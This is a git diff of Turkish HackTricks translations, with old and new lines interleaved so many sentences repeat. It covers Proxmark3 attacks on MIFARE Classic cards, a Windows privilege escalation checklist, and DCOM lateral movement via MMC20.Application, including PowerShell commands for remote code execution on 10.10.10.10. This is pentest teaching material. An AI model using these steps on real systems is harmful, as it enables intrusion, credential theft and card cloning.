* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek PR'lerle katkıda bulunun** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Proxmark3 ile RFID Sistemlerine Saldırı
İlk yapmanız gereken şey bir [**Proxmark3**](https://proxmark.com) sahibi olmak ve [**yazılımı ve bağımlılıklarını yüklemek**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**i**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### MIFARE Classic 1KB Saldırısı
**16 sektörü** vardır, her biri **4 bloğa** sahiptir ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\
Her sektöre erişmek için **2 anahtara** ihtiyacınız vardır (**A** ve **B**) ve bunlar **her sektörün blok 3'ünde** (sektör kapak bloğu) saklanır. Sektör kapak bloğu ayrıca **her bloğa okuma ve yazma** izinlerini veren **erişim bitlerini** saklar, 2 anahtar kullanarak.\
Her birinde **4 blok** bulunan **16 sektörü** vardır ve her blok **16B** içerir. UID, sektör 0 blok 0'da bulunur (ve değiştirilemez).\
Her sektöre erişmek için **2 anahtar** (**A** ve **B**) gereklidir ve bunlar **her sektörün blok 3'ünde** (sektör başlığı) saklanır. Sektör başlığı ayrıca, 2 anahtarı kullanarak **her bloğa okuma ve yazma** izinlerini veren **erişim bitlerini** saklar.\
2 anahtar, ilkini bildiğinizde okuma izni vermek ve ikincisini bildiğinizde yazma izni vermek için kullanışlıdır (örneğin).
Birçok saldırı gerçekleştirilebilir
@ -41,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3, hassas verileri bulmaya çalışmak için **Tag to Reader iletişimini dinleyerek** diğer eylemleri gerçekleştirmenize olanak tanır. Bu kartta, **kriptografik işlemler zayıf olduğundan** iletişimi dinleyebilir ve kullanılan anahtarı hesaplayabilirsiniz çünkü düz metin ve şifreli metni bildiğinizde bunu hesaplayabilirsiniz (`mfkey64` aracı).
Proxmark3, hassas verileri bulmaya çalışmak için **Tag to Reader iletişimini dinlemek** gibi diğer eylemleri gerçekleştirmenize olanak tanır. Bu kartta, **kriptografik işlemler zayıf olduğundan** iletişimi dinleyebilir ve kullanılan anahtarı hesaplayabilirsiniz. **(mfkey64** aracıyla).
### Ham Komutlar
@ -57,22 +65,31 @@ Valid ISO14443A Tag Found - Quiting Search
```
Bu bilgilerle kart hakkında bilgi aramayı ve kartla iletişim kurma yöntemini araştırmayı deneyebilirsiniz. Proxmark3, `hf 14a raw -p -b 7 26` gibi ham komutlar göndermenizi sağlar.
### Komut Dosyaları
### Betikler
Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon komut dosyaları** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Daha sonra, script'in adını takip eden `script run` komutunu kullanın:
Proxmark3 yazılımı, basit görevleri yerine getirmek için kullanabileceğiniz önceden yüklenmiş bir **otomasyon betikleri** listesi ile birlikte gelir. Tam listeyi almak için `script list` komutunu kullanın. Daha sonra, betiğin adını takip eden `script run` komutunu kullanın:
```
proxmark3> script run mfkeys
```
**Geçerli bir kartın** verilerini kopyalayarak, **tag okuyucularını fuzz etmek** için bir betik oluşturabilirsiniz. Sadece bir veya daha fazla **rastgele byte'ı randomize eden** ve herhangi bir iterasyonda **okuyucunun çöküp çökmediğini kontrol eden** bir **Lua betiği** yazın.
**Proxmark 3 ile Radyo Hacking**
Farklı tag okuyucularını **fuzz etmek** için bir betik oluşturabilirsiniz, bu sayede bir **geçerli kartın** verilerini kopyalayarak **Lua betiği** yazabilir ve bir veya daha fazla **rastgele byte'ı randomize ederek** okuyucunun herhangi bir iterasyonda **çöküp çökmediğini kontrol edebilirsiniz**.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>A'dan Z'ye AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek PR'lerle paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
</details>

View file

@ -2,27 +2,35 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklam görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### **Windows yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Sistem Bilgisi](windows-local-privilege-escalation/#system-info)
* [ ] [**Sistem bilgisi**](windows-local-privilege-escalation/#system-info) edinin
* [ ] **Kernel** üzerindeki [**saldırıları betikler kullanarak**](windows-local-privilege-escalation/#version-exploits) arayın
* [ ] **Google'ı kullanarak** kernel **saldırılarını arayın**
* [ ] **Searchsploit'i kullanarak** kernel **saldırılarını arayın**
* [ ] [**Ortam değişkenlerinde**](windows-local-privilege-escalation/#environment) ilginç bilgiler mi var?
* [ ] [**Sistem bilgilerini**](windows-local-privilege-escalation/#system-info) edinin
* [ ] **Kernel** [**saldırılarını betikler kullanarak**](windows-local-privilege-escalation/#version-exploits) arayın
* [ ] **Google'ı kullanarak** kernel **saldırıları arayın**
* [ ] **Searchsploit'i kullanarak** kernel **saldırıları arayın**
* [ ] [**Çevre değişkenlerinde**](windows-local-privilege-escalation/#environment) ilginç bilgiler mi var?
* [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/#powershell-history) şifreler mi var?
* [ ] [**İnternet ayarlarında**](windows-local-privilege-escalation/#internet-settings) ilginç bilgiler mi var?
* [ ] [**Sürücüler**](windows-local-privilege-escalation/#drives)?
@ -32,7 +40,7 @@ HackTricks'ı desteklemenin diğer yolları:
### [Günlükleme/AV numaralandırma](windows-local-privilege-escalation/#enumeration)
* [ ] [**Denetim** ](windows-local-privilege-escalation/#audit-settings)ve [**WEF** ](windows-local-privilege-escalation/#wef)ayarlarını kontrol edin
* [ ] [**LAPS**](windows-local-privilege-escalation/#laps) kontrol edin
* [ ] [**LAPS**](windows-local-privilege-escalation/#laps)'ı kontrol edin
* [ ] [**WDigest** ](windows-local-privilege-escalation/#wdigest) etkin mi?
* [ ] [**LSA Koruma**](windows-local-privilege-escalation/#lsa-protection)?
* [ ] [**Kimlik Bilgileri Koruyucu**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
@ -45,9 +53,9 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] [**Herhangi bir ayrıcalıklı gruba üye misiniz**](windows-local-privilege-escalation/#privileged-groups)?
* [ ] **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** gibi **bu belirteçlerden herhangi biri etkin mi** kontrol edin?
* [**Kullanıcı Oturumları**](windows-local-privilege-escalation/#logged-users-sessions) kontrol edin
* [ **Kullanıcı evlerini**](windows-local-privilege-escalation/#home-folders) kontrol edin (erişim?)
* [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy) nedir?
* [Pano içindeki** içerik**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) nedir?
* [**Kullanıcı evleri**](windows-local-privilege-escalation/#home-folders)'ni kontrol edin (erişim?)
* [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy)'nı kontrol edin
* [**Pano içeriğinde**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ne var?
### [](windows-local-privilege-escalation/#network)
@ -59,39 +67,39 @@ HackTricks'ı desteklemenin diğer yolları:
* [ ] İşlem ikili dosyalarının [**dosya ve klasör izinlerini**](windows-local-privilege-escalation/#file-and-folder-permissions) kontrol edin
* [ ] [**Bellek Şifre madenciliği**](windows-local-privilege-escalation/#memory-password-mining)
* [ ] [**Güvensiz GUI uygulamaları**](windows-local-privilege-escalation/#insecure-gui-apps)
* [ ] Kimlik bilgilerini **ilginç işlemler** aracılığıyla `ProcDump.exe` ile çalabilir misiniz? (firefox, chrome, vb ...)
* [ ] Kimlik bilgilerini `ProcDump.exe` aracılığıyla **ilginç işlemlerden çalabilir misiniz**? (firefox, chrome, vb ...)
### [Hizmetler](windows-local-privilege-escalation/#services)
* [ ] [Herhangi bir hizmeti **değiştirebilir misiniz**?](windows-local-privilege-escalation#permissions)
* [ ] [Herhangi bir hizmet tarafından **yürütülen** **ikili** dosyayı **değiştirebilir misiniz**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [ ] [Herhangi bir hizmet tarafından **yürütülen ikili dosyayı değiştirebilir misiniz**?](windows-local-privilege-escalation/#modify-service-binary-path)
* [ ] [Herhangi bir hizmetin **kayıt defterini değiştirebilir misiniz**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* [ ] Herhangi bir **alıntı yapılmamış hizmet** ikili **yolundan yararlanabilir misiniz**? (windows-local-privilege-escalation/#unquoted-service-paths)
* [ ] Herhangi bir **alıntısız hizmet** ikili **yolundan yararlanabilir misiniz**? (windows-local-privilege-escalation/#unquoted-service-paths)
### [**Uygulamalar**](windows-local-privilege-escalation/#applications)
* [ ] **Yüklü uygulamalarda** [**yazma izinleri**](windows-local-privilege-escalation/#write-permissions) kontrol edin
* [**Yüklü uygulamalarda yazma** izinleri](windows-local-privilege-escalation/#write-permissions) kontrol edin
* [**Başlangıç Uygulamaları**](windows-local-privilege-escalation/#run-at-startup)
* [**Zararlı** [**Sürücüler**](windows-local-privilege-escalation/#drivers)
* [**Zararlı** [**Sürücüler**](windows-local-privilege-escalation/#drivers) kontrol edin
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
### [DLL Kaçırma](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] **PATH** içinde **herhangi bir klasöre yazabilir misiniz**?
* [ ] **Var olmayan bir DLL yüklemeye çalışan** bilinen bir hizmet ikili dosyası var mı?
* [ ] **İkili dosyalar klasörüne yazabilir misiniz**?
* [ ] **PATH içinde herhangi bir klasöre yazabilir misiniz**?
* [ ] **Var olmayan bir DLL'yi yüklemeye çalışan bilinen hizmet ikilisi var mı**?
* [ ] **Herhangi bir** **ikili klasöre yazabilir misiniz**?
### [](windows-local-privilege-escalation/#network)
* [ ] Ağı numaralandırın (paylaşımlar, arabirimler, rotalar, komşular, ...)
* [ ] Localhost'ta (127.0.0.1) dinleyen ağ hizmetlerine özel bir göz atın
* [ ] Localhost'ta (127.0.0.1) dinleyen ağ hizmetlerine özel bir bakış atın
### [Windows Kimlik Bilgileri](windows-local-privilege-escalation/#windows-credentials)
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)kimlik bilgileri
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri?
* [ ] İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/#dpapi)?
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri mi?
* [ ] İlginç [**DPAPI kimlik bilgileri**](windows-local-privilege-escalation/#dpapi) mi?
* [ ] Kayıtlı [**Wifi ağlarının**](windows-local-privilege-escalation/#wifi) şifreleri?
* [ ] [**Kaydedilen RDP Bağlantılarında**](windows-local-privilege-escalation/#saved-rdp-connections) ilginç bilgiler mi?
* [ ] [**Son çalıştırılan komutlardaki**](windows-local-privilege-escalation/#recently-run-commands) şifreler?
* [ ] Kaydedilen [**RDP Bağlantılarında**](windows-local-privilege-escalation/#saved-rdp-connections) ilginç bilgiler mi?
* [ ] [**Yakın zamanda çalıştırılan komutlardaki**](windows-local-privilege-escalation/#recently-run-commands) şifreler?
* [ ] [**Uzak Masaüstü Kimlik Bilgileri Yöneticisi**](windows-local-privilege-escalation/#remote-desktop-credential-manager) şifreleri?
* [ ] [**AppCmd.exe** mevcut mu](windows-local-privilege-escalation/#appcmd-exe)? Kimlik bilgileri?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Yan Yükleme?
@ -99,25 +107,45 @@ HackTricks'ı desteklemenin diğer yolları:
### [Dosyalar ve Kayıt Defteri (Kimlik Bilgileri)](windows-local-privilege-escalation/#files-and-registry-credentials)
* [ ] **Putty:** [**Kimlik Bilgileri**](windows-local-privilege-escalation/#putty-creds) **ve** [**SSH anahtarları**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] Kayıt defterinde [**SSH anahtarları**](windows-local-privilege-escalation/#ssh-keys-in-registry) var mı?
* [ ] [**Devre dışı bırakılmış dosyalardaki**](windows-local-privilege-escalation/#unattended-files) şifreler?
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) yedekleri var mı?
* [ ] [**Bulutta kimlik bilgileri**](windows-local-privilege-escalation/#cloud-credentials)?
* [ ] Kayıt defterinde [**SSH anahtarları**](windows-local-privilege-escalation/#ssh-keys-in-registry) mi?
* [ ] [**Katılımsız dosyalardaki**](windows-local-privilege-escalation/#unattended-files) şifreler?
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) yedeklemesi var mı?
* [ ] [**Bulut kimlik bilgileri**](windows-local-privilege-escalation/#cloud-credentials)?
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) dosyası?
* [**Önbelleğe alınmış GPP Şifresi**](windows-local-privilege-escalation/#cached-gpp-pasword)?
* [**Önbelleğe alınmış GPP Şifresi**](windows-local-privilege-escalation/#cached-gpp-pasword) var mı?
* [ ] [**IIS Web yapılandırma dosyasındaki**](windows-local-privilege-escalation/#iis-web-config) şifre?
* [ ] [**Web** **loglarında**](windows-local-privilege-escalation/#logs) ilginç bilgiler mi?
* [ ] [**Web** **günlüklerinde**](windows-local-privilege-escalation/#logs) ilginç bilgiler mi?
* [ ] Kullanıcıdan [**kimlik bilgilerini istemek**](windows-local-privilege-escalation/#ask-for-credentials) ister misiniz?
* [ ] Geri Dönüşüm Kutusundaki [**kimlik bilgileri**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) içinde ilginç [**dosyalar**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Diğer [**kimlik bilgileri içeren kayıt defteri**](windows-local-privilege-escalation/#inside-the-registry)?
* [ ] [**Tarayıcı verilerinde**](windows-local-privilege-escalation/#browsers-history) (veritabanları, geçmiş, yer imleri, ...) içinde?
* [**Dosyalarda ve kayıt defterinde genel şifre araması**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)
* [**Şifreleri aramak için**](windows-local-privilege-escalation/#tools-that-search-for-passwords) otomatik arama araçları
* [ ] Diğer [**kimlik bilgileri içeren kayıt defteri**](windows-local-privilege-escalation/#inside-the-registry) mi?
* [ ] [**Tarayıcı verilerinde**](windows-local-privilege-escalation/#browsers-history) (veritabanları, geçmiş, yer imleri, ...) mi?
* [**Dosyalarda ve kayıt defterinde**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) **genel şifre araması**?
* [**Otomatik olarak şifre aramak için**](windows-local-privilege-escalation/#tools-that-search-for-passwords) **araçlar**?
### [Sızdırılan İşleyiciler](windows-local-privilege-escalation/#leaked-handlers)
* [ ] Yönetici tarafından çalıştırılan bir işlem işleyicisine erişiminiz var mı?
### [İsimli Boru İstemci Taklit](windows-local-privilege-escalation/#named-pipe-client-impersonation)
### [Pipe İstemci Kimliği](windows-local-privilege-escalation/#named-pipe-client-impersonation)
* [ ] Kullanabilir miyim kontrol edin
* [ ] Kullanabilir misiniz?
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme becerilerini</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimizden oluşan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -2,27 +2,36 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)..
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## MMC20.Application
**Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) adresindeki orijinal yazıyı kontrol edin.**
**Bu teknik hakkında daha fazla bilgi için orijinal yazıya [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) bakın**
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, [DCOM için buraya](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve [COM için buraya](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. Bir PowerShell komutu kullanarak DCOM uygulamalarının bir listesi alınabilir:
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, [buradan DCOM için](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve [buradan COM için](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. Bir PowerShell komutu kullanarak DCOM uygulamalarının bir listesi alınabilir:
```bash
Get-CimInstance Win32_DCOMApplication
```
COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklentisi işlemlerinin betikleme işlevini sağlar. Bu nesne, özellikle `Document.ActiveView` altında `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) bulunabilir. Çalıştırarak kontrol edin:
COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklentisi işlemlerinin betikleme işlemlerini sağlar. Bu nesne, özellikle `Document.ActiveView` altında `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) bulunabilir. Çalıştırarak kontrol edin:
Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinden komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşim kurmak için PowerShell şu şekilde kullanılabilir:
Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinden komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşime geçmek için PowerShell aşağıdaki gibi kullanılabilir:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
@ -33,7 +42,7 @@ Yöntemleri kontrol et:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Uzak Kod Çalıştırma (RCE) elde et:
RCE Al:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
@ -46,14 +55,14 @@ ls \\10.10.10.10\c$\Users
**Bu teknik hakkında daha fazla bilgi için orijinal yazıya [buradan](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) ulaşabilirsiniz.**
**MMC20.Application** nesnesinin açık "LaunchPermissions" eksikliği tespit edildi ve bu varsayılan olarak Yöneticilere erişim izni veren izinlere sahiptir. Daha fazla ayrıntı için [buradaki](https://twitter.com/tiraniddo/status/817532039771525120) konuya bakılabilir ve [@tiraniddo](https://twitter.com/tiraniddo)nın OleView .NET'in kullanımı önerilir.
**MMC20.Application** nesnesinin açık "LaunchPermissions" eksikliği tespit edildi ve varsayılan olarak Yöneticilere erişim izni veren izinlere sahip olduğu belirlendi. Daha fazla ayrıntı için [buradaki](https://twitter.com/tiraniddo/status/817532039771525120) konuya bakılabilir ve [@tiraniddo](https://twitter.com/tiraniddo)nun OleView .NET'in kullanımı önerilir.
Özel olarak, `ShellBrowserWindow` ve `ShellWindows` nesneleri, açık Launch Permissions'a sahip olmamaları nedeniyle vurgulandı. `HKCR:\AppID\{guid}` altında bir `LaunchPermission` kaydının olmamasıık izinlerin olmadığını gösterir.
